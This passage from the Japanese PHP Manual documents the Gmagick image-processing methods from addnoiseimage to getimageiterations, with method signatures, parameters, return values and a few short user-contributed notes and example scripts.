  • ≪ Gmagick::addimage
  • Gmagick::annotateimage ≫
  • PHP Manual
  • Gmagick
  • ランダムなノイズを画像に追加する

Gmagick::addnoiseimage

(PECL gmagick >= Unknown)

Gmagick::addnoiseimage — ランダムなノイズを画像に追加する

説明

public Gmagick::addnoiseimage ( int $noise_type ) : Gmagick

ランダムなノイズを画像に追加します。

パラメータ

noise_type

ノイズの形式。 ノイズ定数 の一覧を参照ください。

返り値

Gmagick オブジェクトにノイズを追加して返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像にテキストによる注記を加える

  • ≪ Gmagick::addnoiseimage
  • Gmagick::blurimage ≫
  • PHP Manual
  • Gmagick
  • 画像にテキストによる注記を加える

Gmagick::annotateimage

(PECL gmagick >= Unknown)

Gmagick::annotateimage — 画像にテキストによる注記を加える

説明

public Gmagick::annotateimage ( GmagickDraw $GmagickDraw , float $x , float $y , float $angle , string $text ) : Gmagick

テキストによる注記を画像に加えます。

パラメータ

GmagickDraw

テキスト描画設定を含む GmagickDraw オブジェクト。

x

テキストの左端の水平オフセットをあらわすピクセル数。

y

テキストのベースラインの垂直オフセットをあらわすピクセル数。

angle

テキストを書き出す角度。

text

描画するテキスト。

返り値

Gmagick オブジェクトに注記を加えて返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


blur (にじみ) フィルタを画像に追加する

  • ≪ Gmagick::annotateimage
  • Gmagick::borderimage ≫
  • PHP Manual
  • Gmagick
  • blur (にじみ) フィルタを画像に追加する

Gmagick::blurimage

(PECL gmagick >= Unknown)

Gmagick::blurimage — blur (にじみ) フィルタを画像に追加する

説明

public Gmagick::blurimage ( float $radius , float $sigma , int $channel = ? ) : Gmagick

blur (にじみ) フィルタを画像に追加します。

パラメータ

radius

にじみの半径。

sigma

標準偏差。

返り値

にじませた Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の周りを枠線で囲む

  • ≪ Gmagick::blurimage
  • Gmagick::charcoalimage ≫
  • PHP Manual
  • Gmagick
  • 画像の周りを枠線で囲む

Gmagick::borderimage

(PECL gmagick >= Unknown)

Gmagick::borderimage — 画像の周りを枠線で囲む

説明

public Gmagick::borderimage ( GmagickPixel $color , int $width , int $height ) : Gmagick

画像の周りを枠線で囲みます。枠線の色は GmagickPixel オブジェクトあるいは色文字列で指定します。

パラメータ

color

枠線の色を含む GmagickPixel オブジェクトあるいは文字列。

width

枠線の幅。

height

枠線の高さ。

返り値

枠線を定義した Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


木炭画をシミュレートする

  • ≪ Gmagick::borderimage
  • Gmagick::chopimage ≫
  • PHP Manual
  • Gmagick
  • 木炭画をシミュレートする

Gmagick::charcoalimage

(PECL gmagick >= Unknown)

Gmagick::charcoalimage — 木炭画をシミュレートする

説明

public Gmagick::charcoalimage ( float $radius , float $sigma ) : Gmagick

木炭画をシミュレートします。

パラメータ

radius

ガウス分布の半径。中心を含まないピクセル数。

sigma

ガウス分布の標準偏差 (ピクセル単位)。

返り値

木炭画をシミュレートした Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の一部を取り除き、切り詰める

  • ≪ Gmagick::charcoalimage
  • Gmagick::clear ≫
  • PHP Manual
  • Gmagick
  • 画像の一部を取り除き、切り詰める

Gmagick::chopimage

(PECL gmagick >= Unknown)

Gmagick::chopimage — 画像の一部を取り除き、切り詰める

説明

public Gmagick::chopimage ( int $width , int $height , int $x , int $y ) : Gmagick

画像の一部を削除し、そこにあった画像をなくします。

パラメータ

width

切り取る範囲の幅。

height

切り取る範囲の高さ。

x

切り取る範囲の X 座標。

y

切り取る範囲の Y 座標。

返り値

切り取った後の Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


Gmagick オブジェクトに関連付けられたすべてのリソースをクリアする

  • ≪ Gmagick::chopimage
  • Gmagick::commentimage ≫
  • PHP Manual
  • Gmagick
  • Gmagick オブジェクトに関連付けられたすべてのリソースをクリアする

Gmagick::clear

(PECL gmagick >= Unknown)

Gmagick::clear — Gmagick オブジェクトに関連付けられたすべてのリソースをクリアする

説明

public Gmagick::clear ( ) : Gmagick

Gmagick オブジェクトに関連付けられたすべてのリソースをクリアします。

パラメータ

この関数にはパラメータはありません。

返り値

クリアした Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


コメントを画像に追加する

  • ≪ Gmagick::clear
  • Gmagick::compositeimage ≫
  • PHP Manual
  • Gmagick
  • コメントを画像に追加する

Gmagick::commentimage

(PECL gmagick >= Unknown)

Gmagick::commentimage — コメントを画像に追加する

説明

public Gmagick::commentimage ( string $comment ) : Gmagick

コメントを画像に追加します。

パラメータ

comment

追加するコメント。

返り値

コメントを追加した Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


ある画像を別の画像に合成する

  • ≪ Gmagick::commentimage
  • Gmagick::__construct ≫
  • PHP Manual
  • Gmagick
  • ある画像を別の画像に合成する

Gmagick::compositeimage

(PECL gmagick >= Unknown)

Gmagick::compositeimage — ある画像を別の画像に合成する

説明

public Gmagick::compositeimage ( Gmagick $source , int $COMPOSE , int $x , int $y ) : Gmagick

ある画像を、別の画像の指定した位置に合成します。

パラメータ

source

合成する画像を保持する Gmagick オブジェクト。

compose

合成演算子。

x

合成する位置の列オフセット。

y

合成する位置の行オフセット。

返り値

合成した Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

Paul Janik 07-Sep-2011 06:59
The second parameter, $COMPOSE, has 3 usable values:

1 = the image is displayed normally;
2 = the image is displayed on a white background;
3 = the image is display in black on a white background;

Paul.
wallace Lau kok poh 04-Aug-2011 12:03
Quick script for stamping a small image on a large image

#!/usr/bin/php
<?php
//  <wallace@wallacelau.com>
//Instantiate a new Gmagick object
$imgMain = new Gmagick('Torso_F.tiff');

// get the image width
$width = (int) ($imgMain->getimagewidth() /2) - 150;

//Instantiate a barcode img Gmagick object
$imgBarcode = new Gmagick('barcode.jpeg');

//stamp the barcode on top of the Main image
$imgMain->compositeimage($imgBarcode, 1, $width, 150);
//Write the current image at the current state to a file
$imgMain->write('withBarcode.tiff');

?>


Gmagick のコンストラクタ

  • ≪ Gmagick::compositeimage
  • Gmagick::cropimage ≫
  • PHP Manual
  • Gmagick
  • Gmagick のコンストラクタ

Gmagick::__construct

(PECL gmagick >= Unknown)

Gmagick::__construct — Gmagick のコンストラクタ

説明

public Gmagick::__construct ( string $filename = ? )

Gmagick のコンストラクタです。

パラメータ

filename

読み込みたい画像へのパス、あるいは複数のパスの配列。

返り値

成功した場合に新しい Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の一部を抽出する

  • ≪ Gmagick::__construct
  • Gmagick::cropthumbnailimage ≫
  • PHP Manual
  • Gmagick
  • 画像の一部を抽出する

Gmagick::cropimage

(PECL gmagick >= Unknown)

Gmagick::cropimage — 画像の一部を抽出する

説明

public Gmagick::cropimage ( int $width , int $height , int $x , int $y ) : Gmagick

画像の一部を抽出します。

パラメータ

width

抽出する幅。

height

抽出する高さ。

x

抽出する領域の左上の X 座標。

y

抽出する領域の左上の Y 座標。

返り値

抽出した Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

martin at arp242 dot net 22-Jun-2011 12:52
A slight note since this is not immediately obvious:
Just as the C CropImage() function, you can specify all zero parameters to get an "autocrop" effect, meaning it will remove all single-color "edges" of an image.


切り取ってサムネイルを作成する

  • ≪ Gmagick::cropimage
  • Gmagick::current ≫
  • PHP Manual
  • Gmagick
  • 切り取ってサムネイルを作成する

Gmagick::cropthumbnailimage

(PECL gmagick >= Unknown)

Gmagick::cropthumbnailimage — 切り取ってサムネイルを作成する

説明

public Gmagick::cropthumbnailimage ( int $width , int $height ) : Gmagick

固定サイズのサムネイルを作成します。 まず画像のサイズを拡大あるいは縮小し、指定した範囲を中心から切り取ります。

パラメータ

width

サムネイルの幅。

height

サムネイルの高さ。

返り値

切り取った Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


現在の Gmagick オブジェクトへの参照を返す

  • ≪ Gmagick::cropthumbnailimage
  • Gmagick::cyclecolormapimage ≫
  • PHP Manual
  • Gmagick
  • 現在の Gmagick オブジェクトへの参照を返す

Gmagick::current

(PECL gmagick >= Unknown)

Gmagick::current — 現在の Gmagick オブジェクトへの参照を返す

説明

public Gmagick::current ( ) : Gmagick

現在の gmagick オブジェクトへの参照を返し、 画像ポインタを正しいシーケンスに設定します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に自分自身を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のカラーマップを移動する

  • ≪ Gmagick::current
  • Gmagick::deconstructimages ≫
  • PHP Manual
  • Gmagick
  • 画像のカラーマップを移動する

Gmagick::cyclecolormapimage

(PECL gmagick >= Unknown)

Gmagick::cyclecolormapimage — 画像のカラーマップを移動する

説明

public Gmagick::cyclecolormapimage ( int $displace ) : Gmagick

位置番号を指定して、画像のカラーマップを移動します。 カラーマップを何度か回転させると、サイケデリックな効果が得られます。

パラメータ

displace

カラーマップを移動させる量。

返り値

成功した場合に自分自身を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像間の特定のピクセルの差を返す

  • ≪ Gmagick::cyclecolormapimage
  • Gmagick::despeckleimage ≫
  • PHP Manual
  • Gmagick
  • 画像間の特定のピクセルの差を返す

Gmagick::deconstructimages

(PECL gmagick >= Unknown)

Gmagick::deconstructimages — 画像間の特定のピクセルの差を返す

説明

public Gmagick::deconstructimages ( ) : Gmagick

各画像をシーケンス内の次の画像と比較し、 最大の境界範囲を返します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に新しい Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像内のスペックルノイズを軽減する

  • ≪ Gmagick::deconstructimages
  • Gmagick::destroy ≫
  • PHP Manual
  • Gmagick
  • 画像内のスペックルノイズを軽減する

Gmagick::despeckleimage

(PECL gmagick >= Unknown)

Gmagick::despeckleimage — 画像内のスペックルノイズを軽減する

説明

public Gmagick::despeckleimage ( ) : Gmagick

画像内のスペックルノイズを軽減します。ただし元画像の輪郭は保持します。

パラメータ

この関数にはパラメータはありません。

返り値

スペックルノイズを軽減した Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

例

例1 Gmagick::despeckleimage() の例

<?php
/* ... */
?>

上の例の出力は、 たとえば以下のようになります。

...

参考

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


Gmagick オブジェクトを破棄する

  • ≪ Gmagick::despeckleimage
  • Gmagick::drawimage ≫
  • PHP Manual
  • Gmagick
  • Gmagick オブジェクトを破棄する

Gmagick::destroy

(PECL gmagick >= Unknown)

Gmagick::destroy — Gmagick オブジェクトを破棄する

説明

public Gmagick::destroy ( ) : bool

Gmagick オブジェクトを破棄し、関連するリソースをすべて解放します。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


現在の画像上の GmagickDraw オブジェクトをレンダリングする

  • ≪ Gmagick::destroy
  • Gmagick::edgeimage ≫
  • PHP Manual
  • Gmagick
  • 現在の画像上の GmagickDraw オブジェクトをレンダリングする

Gmagick::drawimage

(PECL gmagick >= Unknown)

Gmagick::drawimage — 現在の画像上の GmagickDraw オブジェクトをレンダリングする

説明

public Gmagick::drawimage ( GmagickDraw $GmagickDraw ) : Gmagick

現在の画像上の GmagickDraw オブジェクトをレンダリングします。

パラメータ

GmagickDraw

画像をレンダリングする描画操作。

返り値

描かれた Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の輪郭を強調する

  • ≪ Gmagick::drawimage
  • Gmagick::embossimage ≫
  • PHP Manual
  • Gmagick
  • 画像の輪郭を強調する

Gmagick::edgeimage

(PECL gmagick >= Unknown)

Gmagick::edgeimage — 画像の輪郭を強調する

説明

public Gmagick::edgeimage ( float $radius ) : Gmagick

指定した半径の畳み込みフィルタを使用して、画像の輪郭を強調します。 radius に 0 を設定すると自動選択となります。

パラメータ

radius

操作の半径。

返り値

輪郭を強調した Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


グレースケール画像に三次元効果を施して返す

  • ≪ Gmagick::edgeimage
  • Gmagick::enhanceimage ≫
  • PHP Manual
  • Gmagick
  • グレースケール画像に三次元効果を施して返す

Gmagick::embossimage

(PECL gmagick >= Unknown)

Gmagick::embossimage — グレースケール画像に三次元効果を施して返す

説明

public Gmagick::embossimage ( float $radius , float $sigma ) : Gmagick

グレースケール画像に三次元効果を施したものを返します。 指定した半径と標準偏差 (シグマ) によるガウス演算によって画像を畳み込みます。 意味のある結果を得るには、半径がシグマより大きくなければなりません。 radius に 0 を指定すると、適切な半径を自動的に設定します。

パラメータ

radius

効果の半径。

sigma

効果のシグマ。

返り値

エンボス処理した Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


ノイジーな画像の品質を向上させる

  • ≪ Gmagick::embossimage
  • Gmagick::equalizeimage ≫
  • PHP Manual
  • Gmagick
  • ノイジーな画像の品質を向上させる

Gmagick::enhanceimage

(PECL gmagick >= Unknown)

Gmagick::enhanceimage — ノイジーな画像の品質を向上させる

説明

public Gmagick::enhanceimage ( ) : Gmagick

デジタルフィルタを適用して、ノイジーな画像の品質を向上させます。

返り値

品質を向上した Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像ヒストグラムを均等化する

  • ≪ Gmagick::enhanceimage
  • Gmagick::flipimage ≫
  • PHP Manual
  • Gmagick
  • 画像ヒストグラムを均等化する

Gmagick::equalizeimage

(PECL gmagick >= Unknown)

Gmagick::equalizeimage — 画像ヒストグラムを均等化する

説明

public Gmagick::equalizeimage ( ) : Gmagick

画像ヒストグラムを均等化します。

返り値

均等化した Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


垂直方向に反転した画像を作成する

  • ≪ Gmagick::equalizeimage
  • Gmagick::flopimage ≫
  • PHP Manual
  • Gmagick
  • 垂直方向に反転した画像を作成する

Gmagick::flipimage

(PECL gmagick >= Unknown)

Gmagick::flipimage — 垂直方向に反転した画像を作成する

説明

public Gmagick::flipimage ( ) : Gmagick

中心の x 軸を基準してピクセルを反転させ、垂直方向のミラー画像を作成します。

返り値

垂直反転した Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

参考

  • Imagick::flopimage() - 垂直方向に反転した画像を作成する

User Contributed Notes

There are no user contributed notes for this page.


垂直方向に反転した画像を作成する

  • ≪ Gmagick::flipimage
  • Gmagick::frameimage ≫
  • PHP Manual
  • Gmagick
  • 垂直方向に反転した画像を作成する

Gmagick::flopimage

(PECL gmagick >= Unknown)

Gmagick::flopimage — 垂直方向に反転した画像を作成する

説明

public Gmagick::flopimage ( ) : Gmagick

中心の y 軸を基準してピクセルを反転させ、垂直方向のミラー画像を作成します。

返り値

垂直反転した Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

参考

  • Imagick::flipimage() - 垂直方向に反転した画像を作成する

User Contributed Notes

There are no user contributed notes for this page.


三次元の枠線をシミュレートする

  • ≪ Gmagick::flopimage
  • Gmagick::gammaimage ≫
  • PHP Manual
  • Gmagick
  • 三次元の枠線をシミュレートする

Gmagick::frameimage

(PECL gmagick >= Unknown)

Gmagick::frameimage — 三次元の枠線をシミュレートする

説明

public Gmagick::frameimage ( GmagickPixel $color , int $width , int $height , int $inner_bevel , int $outer_bevel ) : Gmagick

画像の周りに三次元の枠線を追加します。 width と height で、それぞれ縦の枠線と横の枠線の幅を指定します。 inner_bevel および outer_bevel は、 それぞれ枠の内側と外側の影の幅を指定します。

パラメータ

color

マット色を表す GmagickPixel オブジェクトあるいは浮動小数点数。

width

枠の幅。

height

枠の高さ。

inner_bevel

内側の影の幅。

outer_bevel

外側の影の幅。

返り値

枠線をつけた Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像をガンマ補正する

  • ≪ Gmagick::frameimage
  • Gmagick::getcopyright ≫
  • PHP Manual
  • Gmagick
  • 画像をガンマ補正する

Gmagick::gammaimage

(PECL gmagick >= Unknown)

Gmagick::gammaimage — 画像をガンマ補正する

説明

public Gmagick::gammaimage ( float $gamma ) : Gmagick

画像をガンマ補正します。同じ画像でも、 異なるデバイス上で見ると見た目が変わることがあります。 これは、画面上に画像の輝度を表現する方法がことなるためです。 赤、緑、青の各チャネルに個別のガンマレベルを指定するか、 あるいはすべてのチャネルに共通のガンマレベルを指定します。 値の典型的な範囲は、0.8 から 2.3 の間となります。

パラメータ

gamma

ガンマ補正の量。

返り値

ガンマ補正した Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


GraphicsMagick API の著作権情報を文字列で返す

  • ≪ Gmagick::gammaimage
  • Gmagick::getfilename ≫
  • PHP Manual
  • Gmagick
  • GraphicsMagick API の著作権情報を文字列で返す

Gmagick::getcopyright

(PECL gmagick >= Unknown)

Gmagick::getcopyright — GraphicsMagick API の著作権情報を文字列で返す

説明

public Gmagick::getcopyright ( ) : string

GraphicsMagick API の著作権情報を文字列で返します。

返り値

GraphicsMagick および Magickwand C API の著作権情報を含む文字列を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像シーケンスに関連付けられたファイル名を取得する

  • ≪ Gmagick::getcopyright
  • Gmagick::getimagebackgroundcolor ≫
  • PHP Manual
  • Gmagick
  • 画像シーケンスに関連付けられたファイル名を取得する

Gmagick::getfilename

(PECL gmagick >= Unknown)

Gmagick::getfilename — 画像シーケンスに関連付けられたファイル名を取得する

説明

public Gmagick::getfilename ( ) : string

画像シーケンスに関連付けられたファイル名を取得します。

返り値

成功した場合に文字列を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の背景色を返す

  • ≪ Gmagick::getfilename
  • Gmagick::getimageblueprimary ≫
  • PHP Manual
  • Gmagick
  • 画像の背景色を返す

Gmagick::getimagebackgroundcolor

(PECL gmagick >= Unknown)

Gmagick::getimagebackgroundcolor — 画像の背景色を返す

説明

public Gmagick::getimagebackgroundcolor ( ) : GmagickPixel

画像の背景色を返します。

パラメータ

この関数にはパラメータはありません。

返り値

画像の背景色を設定した GmagickPixel を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


青が一番強い点を返す

  • ≪ Gmagick::getimagebackgroundcolor
  • Gmagick::getimagebordercolor ≫
  • PHP Manual
  • Gmagick
  • 青が一番強い点を返す

Gmagick::getimageblueprimary

(PECL gmagick >= Unknown)

Gmagick::getimageblueprimary — 青が一番強い点を返す

説明

public Gmagick::getimageblueprimary ( ) : array

青が一番強い点を返します。

パラメータ

x

青が一番強い点の x 座標。

y

青が一番強い点の y 座標。

返り値

"x" 座標および "y" 座標を含む配列を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の前景色を返す

  • ≪ Gmagick::getimageblueprimary
  • Gmagick::getimagechanneldepth ≫
  • PHP Manual
  • Gmagick
  • 画像の前景色を返す

Gmagick::getimagebordercolor

(PECL gmagick >= Unknown)

Gmagick::getimagebordercolor — 画像の前景色を返す

説明

public Gmagick::getimagebordercolor ( ) : GmagickPixel

画像の前景色を返します。

パラメータ

この関数にはパラメータはありません。

返り値

画像の前景色を表す GmagickPixel オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


特定の画像チャネルの深度を返す

  • ≪ Gmagick::getimagebordercolor
  • Gmagick::getimagecolors ≫
  • PHP Manual
  • Gmagick
  • 特定の画像チャネルの深度を返す

Gmagick::getimagechanneldepth

(PECL gmagick >= Unknown)

Gmagick::getimagechanneldepth — 特定の画像チャネルの深度を返す

説明

public Gmagick::getimagechanneldepth ( int $channel_type ) : int

特定の画像チャネルの深度を返します。

パラメータ

この関数にはパラメータはありません。

返り値

画像チャネルの深度を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


指定した色マップインデックスの色を返す

  • ≪ Gmagick::getimagechanneldepth
  • Gmagick::getimagecolorspace ≫
  • PHP Manual
  • Gmagick
  • 指定した色マップインデックスの色を返す

Gmagick::getimagecolors

(PECL gmagick >= Unknown)

Gmagick::getimagecolors — 指定した色マップインデックスの色を返す

説明

public Gmagick::getimagecolors ( ) : int

指定した色マップインデックスの色を返します。

パラメータ

この関数にはパラメータはありません。

返り値

画像内の色の数を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の色空間を取得する

  • ≪ Gmagick::getimagecolors
  • Gmagick::getimagecompose ≫
  • PHP Manual
  • Gmagick
  • 画像の色空間を取得する

Gmagick::getimagecolorspace

(PECL gmagick >= Unknown)

Gmagick::getimagecolorspace — 画像の色空間を取得する

説明

public Gmagick::getimagecolorspace ( ) : int

画像の色空間を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

色空間を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の合成演算子を返す

  • ≪ Gmagick::getimagecolorspace
  • Gmagick::getimagedelay ≫
  • PHP Manual
  • Gmagick
  • 画像の合成演算子を返す

Gmagick::getimagecompose

(PECL gmagick >= Unknown)

Gmagick::getimagecompose — 画像の合成演算子を返す

説明

public Gmagick::getimagecompose ( ) : int

画像に関連付けられている合成演算子を返します。

パラメータ

この関数にはパラメータはありません。

返り値

画像に関連付けられている合成演算子を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の遅延を取得する

  • ≪ Gmagick::getimagecompose
  • Gmagick::getimagedepth ≫
  • PHP Manual
  • Gmagick
  • 画像の遅延を取得する

Gmagick::getimagedelay

(PECL gmagick >= Unknown)

Gmagick::getimagedelay — 画像の遅延を取得する

説明

public Gmagick::getimagedelay ( ) : int

画像の遅延を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

画像の遅延を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の深度を取得する

  • ≪ Gmagick::getimagedelay
  • Gmagick::getimagedispose ≫
  • PHP Manual
  • Gmagick
  • 画像の深度を取得する

Gmagick::getimagedepth

(PECL gmagick >= Unknown)

Gmagick::getimagedepth — 画像の深度を取得する

説明

public Gmagick::getimagedepth ( ) : int

画像の深度を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

画像の深度を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の配置方法を取得する

  • ≪ Gmagick::getimagedepth
  • Gmagick::getimageextrema ≫
  • PHP Manual
  • Gmagick
  • 画像の配置方法を取得する

Gmagick::getimagedispose

(PECL gmagick >= Unknown)

Gmagick::getimagedispose — 画像の配置方法を取得する

説明

public Gmagick::getimagedispose ( ) : int

画像の配置方法を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

画像の配置方法を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の極値を取得する

  • ≪ Gmagick::getimagedispose
  • Gmagick::getimagefilename ≫
  • PHP Manual
  • Gmagick
  • 画像の極値を取得する

Gmagick::getimageextrema

(PECL gmagick >= Unknown)

Gmagick::getimageextrema — 画像の極値を取得する

説明

public Gmagick::getimageextrema ( ) : array

画像の極値を取得します。 "min" および "max" というキーを持つ連想配列を返します。

パラメータ

この関数にはパラメータはありません。

返り値

"min" および "max" というキーを持つ連想配列を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


シーケンス内の特定の画像のファイル名を返す

  • ≪ Gmagick::getimageextrema
  • Gmagick::getimageformat ≫
  • PHP Manual
  • Gmagick
  • シーケンス内の特定の画像のファイル名を返す

Gmagick::getimagefilename

(PECL gmagick >= Unknown)

Gmagick::getimagefilename — シーケンス内の特定の画像のファイル名を返す

説明

public Gmagick::getimagefilename ( ) : string

シーケンス内の特定の画像のファイル名を返します。

パラメータ

この関数にはパラメータはありません。

返り値

画像のファイル名を文字列で返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


シーケンス内の特定の画像のフォーマットを返す

  • ≪ Gmagick::getimagefilename
  • Gmagick::getimagegamma ≫
  • PHP Manual
  • Gmagick
  • シーケンス内の特定の画像のフォーマットを返す

Gmagick::getimageformat

(PECL gmagick >= Unknown)

Gmagick::getimageformat — シーケンス内の特定の画像のフォーマットを返す

説明

public Gmagick::getimageformat ( ) : string

シーケンス内の特定の画像のフォーマットを返します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合は画像のフォーマットを文字列で返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のガンマを取得する

  • ≪ Gmagick::getimageformat
  • Gmagick::getimagegreenprimary ≫
  • PHP Manual
  • Gmagick
  • 画像のガンマを取得する

Gmagick::getimagegamma

(PECL gmagick >= Unknown)

Gmagick::getimagegamma — 画像のガンマを取得する

説明

public Gmagick::getimagegamma ( ) : float

画像のガンマを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合にガンマを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


緑が一番強い点を返す

  • ≪ Gmagick::getimagegamma
  • Gmagick::getimageheight ≫
  • PHP Manual
  • Gmagick
  • 緑が一番強い点を返す

Gmagick::getimagegreenprimary

(PECL gmagick >= Unknown)

Gmagick::getimagegreenprimary — 緑が一番強い点を返す

説明

public Gmagick::getimagegreenprimary ( ) : array

緑が一番強い点を返します。"x" および "y" というキーを持つ配列を返します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に "x" および "y" というキーを持つ配列を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の高さを返す

  • ≪ Gmagick::getimagegreenprimary
  • Gmagick::getimagehistogram ≫
  • PHP Manual
  • Gmagick
  • 画像の高さを返す

Gmagick::getimageheight

(PECL gmagick >= Unknown)

Gmagick::getimageheight — 画像の高さを返す

説明

public Gmagick::getimageheight ( ) : int

画像の高さを返します。

パラメータ

この関数にはパラメータはありません。

返り値

画像の高さをピクセル数で返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のヒストグラムを取得する

  • ≪ Gmagick::getimageheight
  • Gmagick::getimageindex ≫
  • PHP Manual
  • Gmagick
  • 画像のヒストグラムを取得する

Gmagick::getimagehistogram

(PECL gmagick >= Unknown)

Gmagick::getimagehistogram — 画像のヒストグラムを取得する

説明

public Gmagick::getimagehistogram ( ) : array

画像のヒストグラムを ImagickPixel オブジェクトの配列で返します。

パラメータ

この関数にはパラメータはありません。

返り値

画像のヒストグラムを GmagickPixel オブジェクトの配列で返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


現在アクティブな画像のインデックスを取得する

  • ≪ Gmagick::getimagehistogram
  • Gmagick::getimageinterlacescheme ≫
  • PHP Manual
  • Gmagick
  • 現在アクティブな画像のインデックスを取得する

Gmagick::getimageindex

(PECL gmagick >= Unknown)

Gmagick::getimageindex — 現在アクティブな画像のインデックスを取得する

説明

public Gmagick::getimageindex ( ) : int

Gmagick オブジェクト内で現在アクティブな画像のインデックスを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

現在アクティブな画像のインデックスを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のインターレース手法を取得する

  • ≪ Gmagick::getimageindex
  • Gmagick::getimageiterations ≫
  • PHP Manual
  • Gmagick
  • 画像のインターレース手法を取得する

Gmagick::getimageinterlacescheme

(PECL gmagick >= Unknown)

Gmagick::getimageinterlacescheme — 画像のインターレース手法を取得する

説明

public Gmagick::getimageinterlacescheme ( ) : int

画像のインターレース手法を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に画像のインターレース手法を返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の反復を取得する

  • ≪ Gmagick::getimageinterlacescheme
  • Gmagick::getimagematte ≫
  • PHP Manual
  • Gmagick
  • 画像の反復を取得する

Gmagick::getimageiterations

(PECL gmagick >= Unknown)

Gmagick::getimageiterations — 画像の反復を取得する

説明

public Gmagick::getimageiterations ( ) : int

画像の反復を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

